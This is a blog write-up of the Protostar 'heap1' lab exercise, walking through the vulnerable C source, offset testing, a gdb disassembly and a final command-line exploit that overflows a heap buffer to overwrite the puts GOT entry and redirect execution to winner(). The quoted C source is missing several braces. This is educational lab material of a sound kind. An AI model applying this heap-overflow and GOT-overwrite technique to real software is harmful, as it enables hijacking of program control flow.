Protostar Heap1 – Writeup

Last weeks,I busy with Myanmar Cyber Security Challenge 2018. Now,Time to start my learning again. I still not very good at Heap overflow. Believe me i can do it later well.


This level takes a look at code flow hijacking in data overwrite cases.


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>


struct internet {
  int priority;
  char *name;

void winner()
  printf("and we have a winner @ %d\n", time(NULL));

int main(int argc, char **argv)
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");

Easy way to get the winner message,we can break at main function and jump to winner address.This method is also work. But i try to learn other method again.

After reading the C program, I understand there are two argument(input). Let’s check the process.

[email protected]:/opt/protostar/bin$ ./heap1 AAAAAAAA BBBBBBBB
and that's a wrap folks!

Now try to cache the offset buffer size length.

[email protected]:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*25') BBBBBBBB
Segmentation fault
[email protected]:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*21') BBBBBBBB
Segmentation fault
[email protected]:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*20') BBBBBBBB
and that's a wrap folks!

Time to debug it.

[email protected]:/opt/protostar/bin$ gdb ./heap1
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>:	push   %ebp
0x080484ba <main+1>:	mov    %esp,%ebp
0x080484bc <main+3>:	and    $0xfffffff0,%esp
0x080484bf <main+6>:	sub    $0x20,%esp
0x080484c2 <main+9>:	movl   $0x8,(%esp)
0x080484c9 <main+16>:	call   0x80483bc <[email protected]>
0x080484ce <main+21>:	mov    %eax,0x14(%esp)
0x080484d2 <main+25>:	mov    0x14(%esp),%eax
0x080484d6 <main+29>:	movl   $0x1,(%eax)
0x080484dc <main+35>:	movl   $0x8,(%esp)
0x080484e3 <main+42>:	call   0x80483bc <[email protected]>
0x080484e8 <main+47>:	mov    %eax,%edx
0x080484ea <main+49>:	mov    0x14(%esp),%eax
0x080484ee <main+53>:	mov    %edx,0x4(%eax)
0x080484f1 <main+56>:	movl   $0x8,(%esp)
0x080484f8 <main+63>:	call   0x80483bc <[email protected]>
0x080484fd <main+68>:	mov    %eax,0x18(%esp)
0x08048501 <main+72>:	mov    0x18(%esp),%eax
0x08048505 <main+76>:	movl   $0x2,(%eax)
0x0804850b <main+82>:	movl   $0x8,(%esp)
0x08048512 <main+89>:	call   0x80483bc <[email protected]>
0x08048517 <main+94>:	mov    %eax,%edx
0x08048519 <main+96>:	mov    0x18(%esp),%eax
0x0804851d <main+100>:	mov    %edx,0x4(%eax)
0x08048520 <main+103>:	mov    0xc(%ebp),%eax
0x08048523 <main+106>:	add    $0x4,%eax
0x08048526 <main+109>:	mov    (%eax),%eax
0x08048528 <main+111>:	mov    %eax,%edx
0x0804852a <main+113>:	mov    0x14(%esp),%eax
0x0804852e <main+117>:	mov    0x4(%eax),%eax
0x08048531 <main+120>:	mov    %edx,0x4(%esp)
0x08048535 <main+124>:	mov    %eax,(%esp)
0x08048538 <main+127>:	call   0x804838c <[email protected]>
0x0804853d <main+132>:	mov    0xc(%ebp),%eax
0x08048540 <main+135>:	add    $0x8,%eax
0x08048543 <main+138>:	mov    (%eax),%eax
0x08048545 <main+140>:	mov    %eax,%edx
0x08048547 <main+142>:	mov    0x18(%esp),%eax
0x0804854b <main+146>:	mov    0x4(%eax),%eax
0x0804854e <main+149>:	mov    %edx,0x4(%esp)
0x08048552 <main+153>:	mov    %eax,(%esp)
0x08048555 <main+156>:	call   0x804838c <[email protected]>
0x0804855a <main+161>:	movl   $0x804864b,(%esp)
0x08048561 <main+168>:	call   0x80483cc <[email protected]>
0x08048566 <main+173>:	leave  
0x08048567 <main+174>:	ret    
End of assembler dump.
(gdb) break *0x0804855a
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB

Breakpoint 1, main (argc=3, argv=0xbffff844) at heap1/heap1.c:34
34	heap1/heap1.c: No such file or directory.
	in heap1/heap1.c
(gdb) x/2i 0x80483cc
0x80483cc <[email protected]>:	jmp    *0x8049774
0x80483d2 <[email protected]+6>:	push   $0x30
(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>

Now we get memory address of winner function and return address. So final exploit is

[email protected]:/opt/protostar/bin$ ./heap1 $(python -c 'print "A"*20+"\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
and we have a winner @ 1517056888

Bango! We got it!. Thanks for reading. Happy Hacking.